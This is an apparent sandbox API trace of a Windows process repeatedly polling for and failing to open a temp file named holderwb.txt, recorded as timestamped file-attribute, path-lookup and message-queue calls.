	[0099.469] GetFileAttributesExW (in: lpFileName="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\holderwb.txt" (normalized: "c:\\users\\aetadzjz\\appdata\\local\\temp\\holderwb.txt"), fInfoLevelId=0x0, lpFileInformation=0x6b5e9fc | out: lpFileInformation=0x6b5e9fc*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 0
	[0099.469] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x6b5e97c) returned 1
	[0099.469] GetFullPathNameW (in: lpFileName="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\holderwb.txt", nBufferLength=0x105, lpBuffer=0x6b5e44c, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\holderwb.txt", lpFilePart=0x0) returned 0x31
	[0099.469] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x6b5e940) returned 1
	[0099.469] CreateFileW (lpFileName="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\holderwb.txt" (normalized: "c:\\users\\aetadzjz\\appdata\\local\\temp\\holderwb.txt"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0xffffffff
	[0099.470] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x6b5d778) returned 1
	[0099.470] GetCurrentActCtx (in: lphActCtx=0x6b5e9f8 | out: lphActCtx=0x6b5e9f8*=0x6dbd24) returned 1
	[0099.470] CoRegisterMessageFilter (in: lpMessageFilter=0x0, lplpMessageFilter=0x6b5e9a8 | out: lplpMessageFilter=0x6b5e9a8*=0x0) returned 0x0
	[0099.470] PeekMessageW (in: lpMsg=0x6b5e97c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x6b5e97c) returned 0
	[0099.470] GetFullPathNameW (in: lpFileName="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\holderwb.txt", nBufferLength=0x105, lpBuffer=0x6b5e520, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\holderwb.txt", lpFilePart=0x0) returned 0x31
	[0099.470] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x6b5e980) returned 1
	[0099.470] GetFileAttributesExW (in: lpFileName="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\holderwb.txt" (normalized: "c:\\users\\aetadzjz\\appdata\\local\\temp\\holderwb.txt"), fInfoLevelId=0x0, lpFileInformation=0x6b5e9fc | out: lpFileInformation=0x6b5e9fc*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 0
	[0099.470] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x6b5e97c) returned 1
	[0099.470] GetFullPathNameW (in: lpFileName="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\holderwb.txt", nBufferLength=0x105, lpBuffer=0x6b5e44c, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\holderwb.txt", lpFilePart=0x0) returned 0x31
	[0099.470] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x6b5e940) returned 1
	[0099.470] CreateFileW (lpFileName="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\holderwb.txt" (normalized: "c:\\users\\aetadzjz\\appdata\\local\\temp\\holderwb.txt"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0xffffffff
	[0099.471] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x6b5d778) returned 1
	[0099.471] GetCurrentActCtx (in: lphActCtx=0x6b5e9f8 | out: lphActCtx=0x6b5e9f8*=0x6dbd24) returned 1
	[0099.471] CoRegisterMessageFilter (in: lpMessageFilter=0x0, lplpMessageFilter=0x6b5e9a8 | out: lplpMessageFilter=0x6b5e9a8*=0x0) returned 0x0
	[0099.471] PeekMessageW (in: lpMsg=0x6b5e97c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x6b5e97c) returned 0
	[0099.471] GetFullPathNameW (in: lpFileName="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\holderwb.txt", nBufferLength=0x105, lpBuffer=0x6b5e520, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\holderwb.txt", lpFilePart=0x0) returned 0x31
	[0099.471] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x6b5e980) returned 1
	[0099.471] GetFileAttributesExW (in: lpFileName="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\holderwb.txt" (normalized: "c:\\users\\aetadzjz\\appdata\\local\\temp\\holderwb.txt"), fInfoLevelId=0x0, lpFileInformation=0x6b5e9fc | out: lpFileInformation=0x6b5e9fc*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 0
	[0099.471] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x6b5e97c) returned 1
	[0099.471] GetFullPathNameW (in: lpFileName="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\holderwb.txt", nBufferLength=0x105, lpBuffer=0x6b5e44c, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\holderwb.txt", lpFilePart=0x0) returned 0x31
	[0099.471] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x6b5e940) returned 1
	[0099.471] CreateFileW (lpFileName="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\holderwb.txt" (normalized: "c:\\users\\aetadzjz\\appdata\\local\\temp\\holderwb.txt"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0xffffffff
	[0099.472] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x6b5d778) returned 1
	[0099.472] GetCurrentActCtx (in: lphActCtx=0x6b5e9f8 | out: lphActCtx=0x6b5e9f8*=0x6dbd24) returned 1
	[0099.472] CoRegisterMessageFilter (in: lpMessageFilter=0x0, lplpMessageFilter=0x6b5e9a8 | out: lplpMessageFilter=0x6b5e9a8*=0x0) returned 0x0
	[0099.472] PeekMessageW (in: lpMsg=0x6b5e97c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x6b5e97c) returned 0
	[0099.472] GetFullPathNameW (in: lpFileName="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\holderwb.txt", nBufferLength=0x105, lpBuffer=0x6b5e520, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\holderwb.txt", lpFilePart=0x0) returned 0x31
	[0099.473] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x6b5e980) returned 1
	[0099.473] GetFileAttributesExW (in: lpFileName="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\holderwb.txt" (normalized: "c:\\users\\aetadzjz\\appdata\\local\\temp\\holderwb.txt"), fInfoLevelId=0x0, lpFileInformation=0x6b5e9fc | out: lpFileInformation=0x6b5e9fc*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 0
	[0099.473] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x6b5e97c) returned 1
	[0099.473] GetFullPathNameW (in: lpFileName="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\holderwb.txt", nBufferLength=0x105, lpBuffer=0x6b5e44c, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\holderwb.txt", lpFilePart=0x0) returned 0x31
	[0099.473] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x6b5e940) returned 1
	[0099.473] CreateFileW (lpFileName="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\holderwb.txt" (normalized: "c:\\users\\aetadzjz\\appdata\\local\\temp\\holderwb.txt"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0xffffffff
	[0099.473] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x6b5d778) returned 1
	[0099.474] GetCurrentActCtx (in: lphActCtx=0x6b5e9f8 | out: lphActCtx=0x6b5e9f8*=0x6dbd24) returned 1
	[0099.474] CoRegisterMessageFilter (in: lpMessageFilter=0x0, lplpMessageFilter=0x6b5e9a8 | out: lplpMessageFilter=0x6b5e9a8*=0x0) returned 0x0
	[0099.474] PeekMessageW (in: lpMsg=0x6b5e97c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x6b5e97c) returned 0
	[0099.474] GetFullPathNameW (in: lpFileName="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\holderwb.txt", nBufferLength=0x105, lpBuffer=0x6b5e520, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\holderwb.txt", lpFilePart=0x0) returned 0x31
	[0099.474] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x6b5e980) returned 1
	[0099.474] GetFileAttributesExW (in: lpFileName="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\holderwb.txt" (normalized: "c:\\users\\aetadzjz\\appdata\\local\\temp\\holderwb.txt"), fInfoLevelId=0x0, lpFileInformation=0x6b5e9fc | out: lpFileInformation=0x6b5e9fc*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 0
	[0099.474] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x6b5e97c) returned 1
	[0099.474] GetFullPathNameW (in: lpFileName="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\holderwb.txt", nBufferLength=0x105, lpBuffer=0x6b5e44c, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\holderwb.txt", lpFilePart=0x0) returned 0x31
	[0099.474] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x6b5e940) returned 1
	[0099.474] CreateFileW (lpFileName="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\holderwb.txt" (normalized: "c:\\users\\aetadzjz\\appdata\\local\\temp\\holderwb.txt"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0xffffffff
	[0099.475] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x6b5d778) returned 1
	[0099.475] GetCurrentActCtx (in: lphActCtx=0x6b5e9f8 | out: lphActCtx=0x6b5e9f8*=0x6dbd24) returned 1
	[0099.475] CoRegisterMessageFilter (in: lpMessageFilter=0x0, lplpMessageFilter=0x6b5e9a8 | out: lplpMessageFilter=0x6b5e9a8*=0x0) returned 0x0
	[0099.475] PeekMessageW (in: lpMsg=0x6b5e97c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x6b5e97c) returned 0
	[0099.475] GetFullPathNameW (in: lpFileName="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\holderwb.txt", nBufferLength=0x105, lpBuffer=0x6b5e520, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\holderwb.txt", lpFilePart=0x0) returned 0x31
	[0099.475] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x6b5e980) returned 1
	[0099.475] GetFileAttributesExW (in: lpFileName="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\holderwb.txt" (normalized: "c:\\users\\aetadzjz\\appdata\\local\\temp\\holderwb.txt"), fInfoLevelId=0x0, lpFileInformation=0x6b5e9fc | out: lpFileInformation=0x6b5e9fc*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 0
	[0099.475] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x6b5e97c) returned 1
	[0099.475] GetFullPathNameW (in: lpFileName="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\holderwb.txt", nBufferLength=0x105, lpBuffer=0x6b5e44c, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\holderwb.txt", lpFilePart=0x0) returned 0x31
	[0099.475] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x6b5e940) returned 1
	[0099.475] CreateFileW (lpFileName="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\holderwb.txt" (normalized: "c:\\users\\aetadzjz\\appdata\\local\\temp\\holderwb.txt"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0xffffffff
	[0099.476] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x6b5d778) returned 1
	[0099.476] GetCurrentActCtx (in: lphActCtx=0x6b5e9f8 | out: lphActCtx=0x6b5e9f8*=0x6dbd24) returned 1
	[0099.476] CoRegisterMessageFilter (in: lpMessageFilter=0x0, lplpMessageFilter=0x6b5e9a8 | out: lplpMessageFilter=0x6b5e9a8*=0x0) returned 0x0
	[0099.476] PeekMessageW (in: lpMsg=0x6b5e97c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x6b5e97c) returned 0
	[0099.476] GetFullPathNameW (in: lpFileName="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\holderwb.txt", nBufferLength=0x105, lpBuffer=0x6b5e520, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\holderwb.txt", lpFilePart=0x0) returned 0x31
	[0099.476] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x6b5e980) returned 1
	[0099.476] GetFileAttributesExW (in: lpFileName="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\holderwb.txt" (normalized: "c:\\users\\aetadzjz\\appdata\\local\\temp\\holderwb.txt"), fInfoLevelId=0x0, lpFileInformation=0x6b5e9fc | out: lpFileInformation=0x6b5e9fc*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 0
	[0099.476] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x6b5e97c) returned 1
	[0099.476] GetFullPathNameW (in: lpFileName="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\holderwb.txt", nBufferLength=0x105, lpBuffer=0x6b5e44c, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\holderwb.txt", lpFilePart=0x0) returned 0x31
	[0099.476] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x6b5e940) returned 1
	[0099.476] CreateFileW (lpFileName="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\holderwb.txt" (normalized: "c:\\users\\aetadzjz\\appdata\\local\\temp\\holderwb.txt"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0xffffffff
	[0099.477] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x6b5d778) returned 1
	[0099.477] GetCurrentActCtx (in: lphActCtx=0x6b5e9f8 | out: lphActCtx=0x6b5e9f8*=0x6dbd24) returned 1
	[0099.477] CoRegisterMessageFilter (in: lpMessageFilter=0x0, lplpMessageFilter=0x6b5e9a8 | out: lplpMessageFilter=0x6b5e9a8*=0x0) returned 0x0
	[0099.477] PeekMessageW (in: lpMsg=0x6b5e97c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x6b5e97c) returned 0
	[0099.477] GetFullPathNameW (in: lpFileName="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\holderwb.txt", nBufferLength=0x105, lpBuffer=0x6b5e520, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\holderwb.txt", lpFilePart=0x0) returned 0x31
	[0099.478] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x6b5e980) returned 1
	[0099.478] GetFileAttributesExW (in: lpFileName="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\holderwb.txt" (normalized: "c:\\users\\aetadzjz\\appdata\\local\\temp\\holderwb.txt"), fInfoLevelId=0x0, lpFileInformation=0x6b5e9fc | out: lpFileInformation=0x6b5e9fc*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 0
	[0099.478] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x6b5e97c) returned 1
	[0099.478] GetFullPathNameW (in: lpFileName="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\holderwb.txt", nBufferLength=0x105, lpBuffer=0x6b5e44c, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\holderwb.txt", lpFilePart=0x0) returned 0x31
	[0099.478] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x6b5e940) returned 1
	[0099.478] CreateFileW (lpFileName="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\holderwb.txt" (normalized: "c:\\users\\aetadzjz\\appdata\\local\\temp\\holderwb.txt"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0xffffffff
	[0099.478] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x6b5d778) returned 1
	[0099.479] GetCurrentActCtx (in: lphActCtx=0x6b5e9f8 | out: lphActCtx=0x6b5e9f8*=0x6dbd24) returned 1
	[0099.479] CoRegisterMessageFilter (in: lpMessageFilter=0x0, lplpMessageFilter=0x6b5e9a8 | out: lplpMessageFilter=0x6b5e9a8*=0x0) returned 0x0
	[0099.479] PeekMessageW (in: lpMsg=0x6b5e97c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x6b5e97c) returned 0
	[0099.479] GetFullPathNameW (in: lpFileName="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\holderwb.txt", nBufferLength=0x105, lpBuffer=0x6b5e520, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\holderwb.txt", lpFilePart=0x0) returned 0x31
	[0099.479] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x6b5e980) returned 1
	[0099.479] GetFileAttributesExW (in: lpFileName="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\holderwb.txt" (normalized: "c:\\users\\aetadzjz\\appdata\\local\\temp\\holderwb.txt"), fInfoLevelId=0x0, lpFileInformation=0x6b5e9fc | out: lpFileInformation=0x6b5e9fc*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 0
	[0099.479] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x6b5e97c) returned 1
	[0099.479] GetFullPathNameW (in: lpFileName="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\holderwb.txt", nBufferLength=0x105, lpBuffer=0x6b5e44c, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\holderwb.txt", lpFilePart=0x0) returned 0x31
	[0099.479] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x6b5e940) returned 1
	[0099.479] CreateFileW (lpFileName="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\holderwb.txt" (normalized: "c:\\users\\aetadzjz\\appdata\\local\\temp\\holderwb.txt"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0xffffffff
	[0099.480] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x6b5d778) returned 1
	[0099.480] GetCurrentActCtx (in: lphActCtx=0x6b5e9f8 | out: lphActCtx=0x6b5e9f8*=0x6dbd24) returned 1
	[0099.480] CoRegisterMessageFilter (in: lpMessageFilter=0x0, lplpMessageFilter=0x6b5e9a8 | out: lplpMessageFilter=0x6b5e9a8*=0x0) returned 0x0
	[0099.480] PeekMessageW (in: lpMsg=0x6b5e97c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x6b5e97c) returned 0
	[0099.480] GetFullPathNameW (in: lpFileName="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\holderwb.txt", nBufferLength=0x105, lpBuffer=0x6b5e520, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\holderwb.txt", lpFilePart=0x0) returned 0x31
	[0099.480] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x6b5e980) returned 1
	[0099.480] GetFileAttributesExW (in: lpFileName="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\holderwb.txt" (normalized: "c:\\users\\aetadzjz\\appdata\\local\\temp\\holderwb.txt"), fInfoLevelId=0x0, lpFileInformation=0x6b5e9fc | out: lpFileInformation=0x6b5e9fc*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 0
	[0099.480] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x6b5e97c) returned 1
	[0099.480] GetFullPathNameW (in: lpFileName="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\holderwb.txt", nBufferLength=0x105, lpBuffer=0x6b5e44c, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\holderwb.txt", lpFilePart=0x0) returned 0x31
	[0099.480] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x6b5e940) returned 1
	[0099.480] CreateFileW (lpFileName="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\holderwb.txt" (normalized: "c:\\users\\aetadzjz\\appdata\\local\\temp\\holderwb.txt"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0xffffffff
	[0099.481] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x6b5d778) returned 1
	[0099.481] GetCurrentActCtx (in: lphActCtx=0x6b5e9f8 | out: lphActCtx=0x6b5e9f8*=0x6dbd24) returned 1
	[0099.481] CoRegisterMessageFilter (in: lpMessageFilter=0x0, lplpMessageFilter=0x6b5e9a8 | out: lplpMessageFilter=0x6b5e9a8*=0x0) returned 0x0
	[0099.481] PeekMessageW (in: lpMsg=0x6b5e97c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x6b5e97c) returned 0
	[0099.481] GetFullPathNameW (in: lpFileName="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\holderwb.txt", nBufferLength=0x105, lpBuffer=0x6b5e520, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\holderwb.txt", lpFilePart=0x0) returned 0x31
	[0099.481] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x6b5e980) returned 1
	[0099.481] GetFileAttributesExW (in: lpFileName="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\holderwb.txt" (normalized: "c:\\users\\aetadzjz\\appdata\\local\\temp\\holderwb.txt"), fInfoLevelId=0x0, lpFileInformation=0x6b5e9fc | out: lpFileInformation=0x6b5e9fc*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 0
	[0099.481] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x6b5e97c) returned 1
	[0099.481] GetFullPathNameW (in: lpFileName="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\holderwb.txt", nBufferLength=0x105, lpBuffer=0x6b5e44c, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\holderwb.txt", lpFilePart=0x0) returned 0x31
	[0099.481] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x6b5e940) returned 1
	[0099.481] CreateFileW (lpFileName="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\holderwb.txt" (normalized: "c:\\users\\aetadzjz\\appdata\\local\\temp\\holderwb.txt"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0xffffffff
	[0099.482] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x6b5d778) returned 1
	[0099.482] GetCurrentActCtx (in: lphActCtx=0x6b5e9f8 | out: lphActCtx=0x6b5e9f8*=0x6dbd24) returned 1
	[0099.482] CoRegisterMessageFilter (in: lpMessageFilter=0x0, lplpMessageFilter=0x6b5e9a8 | out: lplpMessageFilter=0x6b5e9a8*=0x0) returned 0x0
	[0099.482] PeekMessageW (in: lpMsg=0x6b5e97c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x6b5e97c) returned 0
	[0099.482] GetFullPathNameW (in: lpFileName="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\holderwb.txt", nBufferLength=0x105, lpBuffer=0x6b5e520, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\holderwb.txt", lpFilePart=0x0) returned 0x31
	[0099.483] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x6b5e980) returned 1
